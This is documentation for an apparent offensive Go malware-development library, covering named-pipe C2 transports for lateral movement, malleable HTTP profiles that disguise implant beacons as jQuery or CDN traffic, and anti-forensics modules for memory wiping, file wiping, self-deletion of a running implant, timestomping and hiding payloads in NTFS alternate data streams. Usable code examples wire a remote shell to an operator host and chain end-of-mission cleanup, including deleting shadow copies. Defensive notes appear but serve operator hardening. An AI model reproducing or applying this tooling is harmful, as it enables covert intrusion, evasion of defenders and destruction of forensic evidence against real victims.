• SMB requires authentication — you need valid credentials for the target host, OR an existing logon session that carries them. Lateral movement prerequisite.
• No encryption of pipe content — wrap your payload with crypto if a host-local packet capture (Wireshark with NPF driver) is in scope.

Primer

Most C2 traffic leaves the host over TCP / HTTP, where firewalls and NIDS inspect every packet. Windows named pipes are an on-host IPC channel that the OS uses constantly — SMB, RPC, the print spooler, LSASS, every COM out-of-process server. Two processes communicating over a pipe leave zero network artefacts; cross-host pipes (over the SMB redirector) leave SMB session-auditing entries that look identical to legitimate file-share use.

The package implements both sides:

• Listener (namedpipe.NewListener(name)) — server-side, accepts agents on \\.\pipe\<name>.
• Transport (namedpipe.New(name, timeout)) — client-side, connects to either \\.\pipe\<name> (local) or \\<host>\pipe\<name> (cross-host SMB).

Either side plugs into the rest of the C2 stack: c2/shell takes a Transport, c2/multicat takes a Listener.

How it works

sequenceDiagram
    participant Server as "namedpipe.Listener"
    participant NP as "\\.\pipe\c2agent"
    participant Client as "namedpipe.Transport (implant)"

    Server->>NP: CreateNamedPipe (instance 1)
    Server->>NP: ConnectNamedPipe (block)
    Client->>NP: CreateFile(\\.\pipe\c2agent)
    NP-->>Server: client connected
    Server->>Server: spawn next instance (CreateNamedPipe)
    Server->>Server: ConnectNamedPipe (block)
    par bidirectional I/O
        Client->>NP: WriteFile (stdin)
        NP-->>Server: ReadFile
        Server->>NP: WriteFile (stdout)
        NP-->>Client: ReadFile
    end

Each Accept returns a connected pipe instance; the listener immediately spawns the next instance so subsequent clients do not block.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/transport/namedpipe is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple (local IPC)

Server (operator's relay tool on the same host):

ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
conn, _ := ln.Accept(context.Background())

Implant:

p := namedpipe.New(`\\.\pipe\c2agent`, 5*time.Second)
_ = p.Connect(context.Background())
_, _ = p.Write([]byte("hello"))

Composed (lateral SMB pipe)

Server on OPERATOR-HOST:

ln, _ := namedpipe.NewListener(`\\.\pipe\lat-c2`)

Agent on a different domain-joined host (with credentials to reach the share):

p := namedpipe.New(`\\OPERATOR-HOST\pipe\lat-c2`, 30*time.Second)
_ = p.Connect(context.Background())

The Windows SMB redirector tunnels the pipe over tcp/445. To NIDS this looks like an SMB session; a typical defender focused on web / TLS traffic does not parse SMB content.

Advanced (named-pipe shell + multicat)

Operator side combines multicat with the pipe listener:

import (
    "context"

    "github.com/oioio-space/maldev/c2/multicat"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/c2/transport/namedpipe"
)

ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
adapter := transport.WrapNetListener(ln) // expose as transport.Listener
mgr := multicat.New()
go mgr.Listen(context.Background(), adapter)

Implant uses the same pipe transport on the agent side via c2/shell.New.

Complex (pipe + named-pipe ACL hardening)

Production pipe servers need an explicit SecurityDescriptor so unprivileged code on the same host cannot connect. The package's default DACL allows Everyone for ease of testing — overwrite it before exposing across hosts. Refer to c2/transport/namedpipe/listener_windows.go for the exact SECURITY_ATTRIBUTES shape.

See ExampleNewListener in namedpipe_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-NTA — SMB-traffic profiling.
• D3-OTF — egress filter blocking outbound tcp/445 outside expected fileservers.

Hardening for the operator: name the pipe to mimic a legitimate service (e.g. \\.\pipe\spoolss-<rand>); set a strict DACL that only the implant's user can connect to; lateral SMB pipes assume tcp/445 is open between hosts — verify before relying on the technique.

MITRE ATT&CK

Limitations

• Windows-only. No Unix-domain-socket fallback in this package.
• DACL defaults are permissive. Override SECURITY_ATTRIBUTES on the listener before exposing across users.
• SMB pipe needs tcp/445 connectivity between hosts; many segmented networks deny it.
• Bidirectional only. No half-duplex / shared-channel mode.

See also

• Transport — generic interface.
• Reverse shell — primary consumer over local pipes.
• Multicat — operator-side accept loop.
• Microsoft, Named Pipes Overview — primer.

Malleable HTTP profiles

← c2 index · docs/index

TL;DR

Wrap any HTTP transport in a profile that shapes traffic to look like benign web activity: GET to plausible CDN-style URIs, custom headers (Referer, Accept), real browser User-Agent, optional data encoders. A network analyst inspecting the wire sees jQuery downloads, not C2 callbacks.

What this DOES achieve:

• HTTP-structure cover, not just TLS encryption. Even TLS-terminating proxies see plausible URLs, headers, and request rhythms.
• Composable: works with any HTTP transport (TLS / uTLS / raw HTTP for testing).
• One profile per campaign — defenders that fingerprint campaign A's profile don't automatically catch campaign B if you swap.

What this does NOT achieve:

• Doesn't hide that you're beaconing — request frequency is observable even with perfect shape. Configure jitter + large intervals; pair with evasion/sleepmask to keep the implant invisible BETWEEN beacons.
• Profile freshness — popular profiles (CS Malleable defaults, public OST configs) are signature-fingerprinted by AV / EDR vendors. Custom-build per engagement.
• No JA3/JA4 cover — that's the TLS layer. Combine with uTLS via c2/transport.

Primer

TLS encrypts payload bytes; it does not hide HTTP structure. Network analysts who terminate TLS at a corporate proxy (or just see flow metadata) still observe URL paths, request frequencies, header sets, and body sizes. A reverse shell that hits /api/data every five seconds is trivially clusterable.

Malleable profiles steal a trick from Cobalt Strike: shape the C2 into HTTP requests that look like ordinary web traffic. The profile holds:

• GetURIs — list of URI patterns for data retrieval. The transport rotates through them. Examples: /jquery-3.7.1.min.js, /static/css/bootstrap.min.css.
• PostURIs — same for data submission.
• Headers — custom request headers (Referer, Accept, Cache-Control).
• UserAgent — pinned User-Agent string. Pair with useragent for randomised real-browser UAs.
• DataEncoder / DataDecoder — optional transforms applied to payload bytes before the request body is built / after the response body is parsed. Lets the operator wrap C2 in (e.g.) a fake JSON envelope, hide it inside an image-shaped blob, or further encrypt on top of TLS.

How it works

sequenceDiagram
    participant Sh as "c2/shell or stager"
    participant Mal as "Malleable transport"
    participant CDN as "Operator handler (looks like CDN)"

    Sh->>Mal: Write([]byte("ls /etc"))
    Mal->>Mal: DataEncoder(bytes)
    Mal->>CDN: GET /jquery-3.7.1.min.js<br>Referer: https://docs.example/<br>User-Agent: Chrome/124
    CDN-->>Mal: 200 OK + payload-as-jquery
    Mal->>Mal: DataDecoder(body)
    Mal-->>Sh: Read → []byte("/etc/passwd contents")

The handler on the operator side accepts requests on the same URIs and responds with the next chunk. With realistic timing (jitter, sleep) the traffic is indistinguishable from a slow CDN page-load.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/transport is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/transport"
)

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js", "/popper.min.js"},
    PostURIs:  []string{"/api/v2/telemetry"},
    Headers:   map[string]string{"Referer": "https://docs.example/"},
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) AppleWebKit/537.36 Chrome/124",
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())

Composed (pair with the useragent package)

import (
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/useragent"
)

db, _ := useragent.Load()
ua := db.Filter(func(e useragent.Entry) bool { return e.Browser == "Chrome" }).Random()

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js"},
    UserAgent: ua.UserAgent,
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())

Advanced (encoder pair — wrap C2 in a fake JSON body)

import (
    "encoding/base64"
    "fmt"
)

profile := &transport.Profile{
    PostURIs: []string{"/api/v1/events"},
    DataEncoder: func(b []byte) []byte {
        return []byte(fmt.Sprintf(`{"event":"page_view","payload":%q}`,
            base64.StdEncoding.EncodeToString(b)))
    },
    DataDecoder: func(b []byte) []byte {
        // Parse JSON, base64-decode payload, return raw bytes.
        // Implementation omitted.
        return decodeJSONPayload(b)
    },
}

Complex (full chain — uTLS + cert pin + malleable + shell)

import (
    "crypto/tls"
    "net/http"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

httpTr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js", "/bootstrap.min.css"},
    PostURIs:  []string{"/api/v2/metrics"},
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) Chrome/124",
    Headers:   map[string]string{"Referer": "https://docs.example/"},
}
tr := transport.NewMalleable("https://cdn.example.com", 10*time.Second, profile,
    transport.WithTLSConfig(httpTr))

sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

OPSEC & Detection

D3FEND counters:

• D3-NTA — content + header analysis on TLS-terminated traffic.
• D3-FCR — YARA-like rules on response bodies.

Hardening for the operator: keep GetURIs plausible and rotate; choose a cover that matches the operator endpoint's hostname (a CDN-shaped FQDN paired with /jquery-*.min.js is believable; /api/data is not); randomise jitter at the shell layer.

MITRE ATT&CK

Limitations

• No bidirectional streaming. HTTP is request/response. The shell layer batches I/O into discrete chunks.
• Body size cap. Some CDNs / proxies truncate at 1–10 MB. Chunk large transfers across multiple requests.
• Encoder/decoder discipline. Profiles are operator + implant pairs — both sides must agree on DataEncoder / DataDecoder.
• No malleable C2 profile DSL. This package implements the primitives; defining a Cobalt Strike-style .profile DSL parser is out of scope.

See also

• Transport — base Transport interface and uTLS integration via WithTLSConfig.
• useragent — random real-browser UAs.
• Cobalt Strike, Malleable C2 Profile reference — primer on the technique class (different DSL, same idea).

Cleanup techniques

← maldev README · docs/index

On-host artifact removal and anti-forensics primitives applied at the end of an operation. Each package targets one specific class of artifact (file on disk, memory region, NTFS timestamp, service registration, in-memory state). Compose them as the implant tears itself down.

TL;DR

A typical end-of-mission chain: memory.WipeAndFree keys → timestomp any artefacts you can't delete → wipe.File what you can → service.HideService or unregister → selfdelete.Run (or bsod.Trigger if egress is critical).

Where to start (novice path):

1. memory-wipe — applies during the operation (not just at end). Wipe keys / decrypted bytes as soon as you're done with them.
2. self-delete — most common end-of-op cleanup. Drop the running EXE from disk while the process keeps executing.
3. wipe + timestomp — pair when you can't delete (loaded library, reference held by another process).
4. ads — for stashing payloads / state during ops, not just cleanup.
5. bsod — last-resort kill switch only. Destructive + irreversible.

Packages

Quick decision tree

MITRE ATT&CK

See also

• Operator path: cleanup checklist
• Detection eng path: cleanup artifacts

Secure memory cleanup

← cleanup index · docs/index

TL;DR

You decrypted your shellcode, used your encryption key, fetched a C2 address. All three are still sitting in process memory until the GC eventually overwrites them — minutes to never. A memory dump in that window exposes everything.

What this DOES achieve:

• Sensitive bytes are zeroed BEFORE control returns to the caller — no GC race, no compiler dead-store-elimination cleverness.
• For VirtualAlloc'd shellcode regions: zeroed THEN unmapped, so even a kernel-level scanner sees no commit.
• DoSecret makes the wipe defer-safe — caller can't forget.

What this does NOT achieve:

• Doesn't wipe the Go heap copy — string <-> []byte conversions allocate. If the secret ever lived as a string, some pre-conversion copy may still be on the heap until GC. Avoid string conversions for secrets.
• Doesn't wipe register / stack residue — values that spilled to the stack during arithmetic stay until the stack frame is overwritten by something else. Acceptable for most threat models; not for nation-state forensic.
• Crash-dump still wins if it happens BETWEEN secret creation and wipe — keep the window short.
• Linux: doesn't unmap if you didn't VirtualAlloc — WipeAndFree is Windows-shaped. Use SecureZero then mmap.Munmap manually for the Linux equivalent.

Primer

After your shellcode runs, its decrypted bytes, encryption keys, and C2 addresses sit in process memory. If the process is dumped — by an analyst, EDR memory scanner, or LSASS-style live snapshot — that data is exposed.

Naïve approaches fail:

• for i := range buf { buf[i] = 0 } — Go's optimizer happily removes the writes if it sees you don't read the buffer afterwards.
• copy(buf, make([]byte, len(buf))) — same problem.

Go's clear builtin is treated as an intrinsic the compiler must NOT optimize away. SecureZero wraps it. WipeAndFree adds the VirtualProtect → write zeros → VirtualFree sequence required when the memory came from windows.VirtualAlloc. DoSecret is the experimental Go 1.26 runtimesecret mode: register/stack/heap erasure on function return.

How it works

flowchart LR
    subgraph SecureZero
        BUF["[]byte"] --> CLEAR["clear(buf)<br>(intrinsic, not elidable)"]
        CLEAR --> ZEROED["all bytes 0x00"]
    end
    subgraph WipeAndFree
        VA["VirtualAlloc'd region"] --> PROT["VirtualProtect → RW"]
        PROT --> WRITE["zero loop"]
        WRITE --> FREE["VirtualFree(MEM_RELEASE)"]
    end
    subgraph DoSecret
        FN["func() { … }"] --> RUN["call inside runtime.Secret guard"]
        RUN --> ERASE["registers + stack + heap temps zeroed"]
        ERASE --> RET["return to caller"]
    end

SecureZero is the everyday tool. WipeAndFree is for the post-shellcode RWX page. DoSecret is the new hotness — wrap any sensitive computation unconditionally; without runtimesecret it's a no-op call.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/memory is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

key := crypto.RandomKey(32)
defer memory.SecureZero(key)
// use key …

Composed (with crypto)

plaintext := decrypt(payload, key)
defer memory.SecureZero(plaintext)
defer memory.SecureZero(key)
// run shellcode …

Advanced (post-injection cleanup)

addr, _ := windows.VirtualAlloc(0, size,
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), size), shellcode)
runShellcode(addr)
_ = memory.WipeAndFree(addr, uint32(size))

Complex (DoSecret for key derivation)

var derived []byte
memory.DoSecret(func() {
    tmp := pbkdf2(password, salt, 100_000, 32)
    derived = make([]byte, len(tmp))
    copy(derived, tmp)
    memory.SecureZero(tmp) // belt + braces while DoSecret-experiment is non-default
})
// derived is the only surviving copy; password / pbkdf2 internals erased on Go 1.26+

OPSEC & Detection

D3FEND counter: D3-PMA (Process Memory Analysis) — defeated by timely cleanup; remains effective when defender captures dump before cleanup runs.

MITRE ATT&CK

Limitations

• Cannot cover what's already on disk. If a paged-out region was swapped to pagefile.sys, SecureZero doesn't reach the swap copy. Mitigation: windows.VirtualLock the region, then VirtualUnlock + zero before free.
• DoSecret register erasure requires GOEXPERIMENT=runtimesecret
  • Go 1.26+ + linux/amd64 or arm64. Without these, it's a plain call.
• Compiler tail-call elision can leak registers across DoSecret scope on certain architectures — confirm with go tool objdump for high-stakes uses.
• Crash dumps captured before the defer runs include the secrets in plain text.

See also

• cleanup/wipe — same intent, on disk.
• Go 1.26 release notes — runtimesecret experiment (link valid once 1.26 ships).
• OWASP — Memory Management Cheat Sheet.

Secure file wipe

← cleanup index · docs/index

TL;DR

You want a file gone from disk such that PhotoRec / Recuva / ntfsundelete can't recover it. os.Remove only unlinks the directory entry — content stays in unallocated clusters until overwritten. This package overwrites first, then removes.

What this DOES achieve:

• Recovered cluster content is crypto/rand bytes. strings, carve-by-format (PhotoRec), and undelete utilities all see noise.
• Cross-platform — works on Windows / Linux / macOS without filesystem-specific code.

What this does NOT achieve:

• SSD wear-levelling makes single-overwrite ineffective — the SSD controller maps logical writes to physical cells via FTL. Your "overwrite" hits a NEW cell; the original cell stays in the wear-leveling pool until garbage-collected. TRIM/discard helps but isn't guaranteed. For high-assurance SSD wipe: secure erase ATA command (out of scope here).
• Doesn't wipe $LogFile / $UsnJrnl — NTFS journals recorded the file's path + first ~4 KB on create. Forensic carving from journals can recover.
• Doesn't wipe Volume Shadow Copies — VSS snapshots taken before your wipe still contain the original file. Run vssadmin delete shadows (admin) BEFORE relying on this.
• Doesn't wipe physical residual magnetism on HDDs — at the platter level, multiple overwrites + slot rotation reduce but don't eliminate. Threat model: nation-state forensic lab. For most ops, single-pass is plenty.

Primer

When you os.Remove a file, the OS unlinks the directory entry but the underlying disk blocks remain readable until reused. Tools like PhotoRec, Recuva, and ntfsundelete walk the MFT and recover those blocks. A multi-pass random overwrite makes the recovered content indistinguishable from random — useful for keys, configs, and any short-lived artefact you want to leave behind cleanly.

The countermeasure isn't perfect: SSDs remap blocks transparently, so overwriting "the same file" may write to fresh cells while the original data sits in the wear-levelling pool until the controller rewrites it. For SSD targets, paired host-level encryption (BitLocker, LUKS) is the real answer.

How it works

flowchart TD
    Open["os.OpenFile(path, RDWR)"] --> Stat["fi.Size()"]
    Stat --> Loop{"pass < N?"}
    Loop -- yes --> Rand["read crypto/rand into buf"]
    Rand --> Write["WriteAt(buf, 0..size)"]
    Write --> Sync["f.Sync()"]
    Sync --> Loop
    Loop -- no --> Close["f.Close() + os.Remove(path)"]

Each pass reads a new random buffer (no buffer reuse — fresh randomness forces the filesystem to actually rewrite blocks rather than dedup identical writes). f.Sync() after each pass forces the page cache to flush to disk.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/wipe is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/wipe"

if err := wipe.File("/tmp/secret.bin", 3); err != nil {
    log.Fatal(err)
}

Composed (with cleanup/timestomp)

import (
    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/cleanup/wipe"
)

// Reset parent dir mtime BEFORE wiping the child — otherwise the child
// removal updates the parent dir.
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))

_ = wipe.File(target, 3)

// Re-stomp parent (the unlink we just did updated it again).
_ = timestomp.CopyFrom(ref, filepath.Dir(target))

Advanced

End-of-mission cleanup chain:

// 1. Wipe payload droppers
for _, f := range []string{"impl.dll", "loader.exe", "config.json"} {
    _ = wipe.File(filepath.Join(workDir, f), 3)
}

// 2. Reset workdir parent mtime
_ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, filepath.Dir(workDir))

// 3. Self-delete the running EXE
_ = selfdelete.Run()

OPSEC & Detection

D3FEND counter: D3-PFV (Persistent File Volume Inspection) — file-recovery tooling against journaled filesystems. Mitigates partial overwrites, defeated by complete multi-pass overwrites only on rotational disks.

MITRE ATT&CK

Limitations

• Not effective on SSDs at the physical layer (wear levelling).
• Not effective on copy-on-write filesystems (ZFS, Btrfs, ReFS) — old blocks survive in the volume's snapshot space until garbage-collected.
• Filesystem journaling (NTFS $LogFile, ext4 jbd2) may retain metadata copies of file size and name even after the data blocks are overwritten.
• Antivirus realtime scan may already have copied the file to its scan cache; wiping the original doesn't reach those copies.

See also

• cleanup/selfdelete — for the running EXE itself.
• cleanup/timestomp — pair to reset parent-dir mtime.
• cleanup/memory — same intent, in-memory.
• DoD 5220.22-M historical reference — the canonical "secure delete" standard.

Self-deletion (running EXE)

← cleanup index · docs/index

TL;DR

You ran your implant from disk; it's now in memory. You want the disk artefact gone — but Windows holds a handle on the running EXE's image and os.Remove returns "file in use". This package exploits an NTFS quirk to delete-while-running.

What this DOES achieve:

• File disappears from disk before the process exits — forensic triage that finds the implant in memory still has nothing on-disk to image.
• Process keeps running (mapped image stays valid until exit). Implant can finish its work before going down.
• No external tools, no bat-file delete-on-reboot trick.

What this does NOT achieve:

• Doesn't wipe filesystem journal entries — $LogFile, $UsnJrnl still record the create + delete events. Forensic recovery from these journals can recover the path + first 4 KB of content.
• Doesn't wipe Prefetch — C:\Windows\Prefetch\<exe>-XXXX.pf records every executable run. Pair with cleanup/wipe for prefetch cleanup.
• NTFS only — the :$DATA rename trick doesn't work on FAT / exFAT / network shares.
• Doesn't survive reboot of a forensic image — if the attacker takes a disk image BEFORE delete, the file is in unallocated clusters until overwritten.

Primer

Windows holds an open handle on a running EXE's image file (it's mapped into the process). os.Remove on a running EXE returns "in use".

The NTFS quirk this package exploits: every file has an unnamed default data stream :$DATA that holds the file's content. NTFS allows you to rename that default stream to a named stream (e.g. :x). After rename, the file from the kernel's perspective has zero bytes in its default stream — and Windows happily deletes the file even though our process still has its image mapped.

Three other paths exist when ADS isn't workable:

• RunForce(retry, duration) — same trick, retry loop for transient locks.
• RunWithScript — drop a .bat file that polls until the process exits, then deletes the EXE. Universal, but the batch script is a signature.
• MarkForDeletion — MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT). No on-disk write, but the PendingFileRenameOperations registry value retains the artefact until next reboot.

How it works

The ADS-rename path:

sequenceDiagram
    participant Proc as "running .exe"
    participant FS as "NTFS driver"
    Note over Proc: GetModuleFileNameW("C:\impl.exe")
    Proc->>FS: CreateFileW(":x", FILE_RENAME_INFO)
    FS->>FS: rename default :$DATA → :x
    FS-->>Proc: success
    Proc->>FS: NtSetInformationFile(FileDispositionInfo, DeleteFile=TRUE)
    FS-->>Proc: success
    Proc->>FS: CloseHandle()
    FS->>FS: file unlinked from MFT
    Note over Proc: process continues executing from mapped image

Step-by-step:

1. Resolve own path via GetModuleFileNameW(NULL, …).
2. CreateFileW(path, DELETE | SYNCHRONIZE, FILE_SHARE_READ|WRITE|DELETE, …, OPEN_EXISTING, …).
3. SetFileInformationByHandle(FileRenameInfo, ":x") — rename default stream.
4. SetFileInformationByHandle(FileDispositionInfo, DeleteFile=TRUE) — schedule deletion at handle close.
5. CloseHandle() — file vanishes.
6. The process continues; its image stays mapped.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/selfdelete is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

//go:build windows
package main

import "github.com/oioio-space/maldev/cleanup/selfdelete"

func main() {
    defer selfdelete.Run()
    // implant work …
}

Composed (with cleanup/memory)

Wipe in-memory state before disappearing from disk:

defer selfdelete.Run()
defer memory.SecureZero(c2State)
// work …

Advanced (full end-of-mission chain)

defer func() {
    // 1. Reset timestamps so any disk forensic sees a "stale" file.
    _ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, droppedFile)
    // 2. Wipe + delete dropped artefacts.
    _ = wipe.File(droppedFile, 3)
    // 3. Wipe in-memory state.
    memory.SecureZero(stateBuf)
    // 4. Self-delete the running EXE.
    _ = selfdelete.Run()
}()

Complex (RunWithScript fallback)

if err := selfdelete.Run(); err != nil {
    // ADS path failed (FAT volume, locked-down server) — fall back.
    _ = selfdelete.RunWithScript(2 * time.Second)
}

OPSEC & Detection

D3FEND counter: D3-FRA (File Removal Analysis) — defeats casual deletion patterns; the ADS-rename variant defeats most file-deletion-watch rules. Hardening: monitor for FileRenameInfo on PE files in writable directories.

MITRE ATT&CK

Limitations

• NTFS-only — Run requires ADS support. FAT32, exFAT, ext4 (mounted via WSL), or any mounted SMB share without ADS pass-through fail. Use RunWithScript as fallback.
• Win11 24H2 (build 26100+) — MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) semantics changed; the PendingFileRenameOperations value is still written but kernel-level processing differs. MarkForDeletion may silently fail on this build. Track in docs/testing.md.
• Defender realtime scan — if the EXE is in a directory with realtime monitoring (anything not in the exclusion list) the rename may trigger an AV scan that holds the handle long enough to fail SetFileDisposition. Use RunForce.
• Process Mitigation — some EDRs apply Process Mitigation Policy: ProhibitDynamicCode which doesn't affect this primitive directly, but the same EDR likely watches for the unusual rename pattern.

See also

• cleanup/ads — primitive ADS CRUD; selfdelete is its highest-leverage user.
• Original technique writeup — LloydLabs/delete-self-poc.
• Microsoft — FileDispositionInfo.

Timestomp

← cleanup index · docs/index

TL;DR

You dropped a file in a system directory and want it to blend in with the OS install timestamps. This package rewrites the file's user-visible timestamps to match a "donor" system file.

What this DOES achieve:

• dir, Get-ChildItem, Explorer, os.Stat all see the spoofed timestamps. Casual triage doesn't notice.
• Quick alignment — drop a file at 14:32:11, copy notepad's install timestamps, the file appears to be from Windows-install date.

What this does NOT achieve:

• Forensic-grade tooling defeats this trivially — Sleuth Kit's fls, Plaso's psort, Velociraptor all read the immutable $FILE_NAME ($FN) timestamps too, which user-mode APIs cannot modify. The $SI vs $FN mismatch IS the signature of timestomping.
• NTFS only — $SI/$FN are NTFS concepts. FAT / exFAT / network shares have one set of timestamps, no duality signature.
• Doesn't hide the create event — $LogFile, $UsnJrnl recorded the original create+modify timestamps before the stomp. Forensic recovery from journals catches you.
• Doesn't help on memory-only artefacts — by definition no on-disk timestamps. This is for dropped files only.

Primer

Every NTFS file has two sets of timestamps:

• $STANDARD_INFORMATION ($SI) — read by dir, Explorer, os.Stat, GetFileTime. Mutable from user-mode via SetFileTime.
• $FILE_NAME ($FN) — maintained by the filesystem driver itself. Read by forensic tooling (Sleuth Kit, Plaso). User-mode APIs cannot modify it; only kernel-mode code (e.g. FSCTL_SET_FILE_INFORMATION with the right context) can.

Standard timestomping changes only $SI. Triage tools and AV looking at the four $SI timestamps see the implant as "old". Forensic tools comparing $SI against $FN see the disparity and flag it.

This package handles the user-mode $SI path. To also rewrite $FN, you'd need a kernel driver — out of scope here.

How it works

CopyFrom is the common path: open the reference, read its three timestamps, apply them to the target. Set is the explicit-value path when you want a specific date.

The OS kernel's $FN records remain untouched — that's the gap forensic tools exploit.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/timestomp is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "time"
    "github.com/oioio-space/maldev/cleanup/timestomp"
)

// Make impl.exe look 5 years old
old := time.Now().Add(-5 * 365 * 24 * time.Hour)
_ = timestomp.Set(`C:\Users\Public\impl.exe`, old, old)

Composed (with reference file)

Match a stable system binary so the dropped artefact blends with neighbours:

ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, `C:\Users\Public\impl.exe`)

Advanced (chain into wipe + selfdelete)

Reset directory metadata so the parent doesn't show "recently modified":

ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
_ = wipe.File(target, 3)
_ = timestomp.CopyFrom(ref, filepath.Dir(target)) // re-stomp after unlink
_ = selfdelete.Run()

Complex (build-time stomping)

For implants you build and deliver — not for runtime cleanup:

//go:build ignore

// Pre-flight build hook: make the dropped EXE look like cmd.exe in a
// snapshot from 2019 (BUILD-TIME, not runtime).
_ = timestomp.CopyFrom("samples/cmd.exe", "dist/impl.exe")

OPSEC & Detection

D3FEND counter: D3-FH (weak; the real counter is MFT analysis). Hardening: enable audit-policy on file modifications in critical directories.

MITRE ATT&CK

Limitations

• $FILE_NAME not touched. A forensic comparison defeats this. To also rewrite $FN, kernel-mode access (a driver, or a BYOVD primitive) is needed — out of scope for this package.
• Resolution differs by filesystem. NTFS stores 100-ns precision; FAT32 stores 2-second precision. Cloning from NTFS to FAT32 truncates.
• Some $SI triggers (e.g. content rewrite by another tool, AV scan) re-update the timestamps after the stomp. Stomp last in the cleanup sequence.

See also

• cleanup/wipe — pair to clean directory mtime after unlink.
• Sleuth Kit istat — defender-side comparison tool.
• Eric Zimmerman's MFTECmd — modern forensic MFT parser.
• SANS — NTFS Time Rules — overview of when $SI vs $FN updates fire.

NTFS Alternate Data Streams

← cleanup index · docs/index

TL;DR

NTFS lets you attach named data streams to any file. The streams share the host file's MFT entry / ACL / timestamps but are invisible to dir, Explorer, Get-ChildItem, and most file-listing APIs. Useful as a quiet stash for payloads, config, encrypted second-stage bytes, etc.

What this DOES achieve:

• Stash data on disk without creating a "new file" — defenders enumerating new files in \Users\Public\ see only what was there before; ADS payload is invisible.
• ACL inheritance from the host file — a stream attached to notepad.exe inherits notepad.exe's ACL.
• Survives os.Stat (the host file's size unchanged from the perspective of standard APIs).

What this does NOT achieve:

• Sysmon EID 15 (FileCreateStreamHash) catches every write — named-stream creation is logged by default-Sysmon-config installations. Stash with care.
• dir /R shows them — defenders running it (or PowerShell Get-Item -Stream *) see every stream. Standard tools don't, but specialised triage scripts do.
• NTFS only — no FAT / exFAT / network shares. Mail attachments + zip extraction strip ADS by design.
• Mark-of-the-Web (Zone.Identifier) is also an ADS — removing it via this package's Delete clears the SmartScreen warning but leaves your own audit trail in $LogFile / $UsnJrnl.

Primer

Every file on an NTFS volume has a default unnamed data stream (:$DATA) — that's what cat / Get-Content reads. NTFS additionally allows arbitrary named streams attached to the same file. The streams share the file's MFT entry, ACL, and timestamps; they're addressable as file.txt:hidden:$DATA. Most user-facing tooling ignores everything but the default stream, which makes ADS a quiet stash spot.

ADS support is filesystem-bound. NTFS supports it; FAT32, exFAT, ext4, and any non-Windows filesystem do not. Crossing a non-NTFS boundary (e.g., copying to a USB stick) silently drops the streams.

How it works

sequenceDiagram
    participant Caller
    participant ads
    participant Kernel as "NTFS driver"
    participant File as "some.txt"
    Caller->>ads: Write("some.txt", "hidden", payload)
    ads->>Kernel: CreateFileW("some.txt:hidden", GENERIC_WRITE)
    Kernel->>File: allocate/locate stream "hidden"
    Kernel-->>ads: HANDLE
    ads->>Kernel: WriteFile(HANDLE, payload)
    ads->>Kernel: CloseHandle(HANDLE)
    ads-->>Caller: nil

The package wraps CreateFileW with the colon-suffix syntax. The kernel handles stream allocation transparently. List uses NtQueryInformationFile(FileStreamInformation) to walk the MFT entry's stream attribute list.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/ads is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/ads"

_ = ads.Write(`C:\Users\Public\desktop.ini`, "config", []byte("c2=1.2.3.4"))

cfg, _ := ads.Read(`C:\Users\Public\desktop.ini`, "config")

streams, _ := ads.List(`C:\Users\Public\desktop.ini`)
// streams: []string{"config"}

_ = ads.Delete(`C:\Users\Public\desktop.ini`, "config")

Composed (with crypto)

key := crypto.RandomKey(32)
ct, _ := crypto.AESGCMEncrypt(key, []byte(state))
_ = ads.Write(`C:\Windows\Temp\index.dat`, "s", ct)

// Later:
ct, _ = ads.Read(`C:\Windows\Temp\index.dat`, "s")
state, _ := crypto.AESGCMDecrypt(key, ct)

Advanced (chain with selfdelete)

cleanup/selfdelete uses ADS rename internally:

// selfdelete renames the default stream to ":x" via the same primitive
// surface the ads package exposes, then sets DELETE disposition.
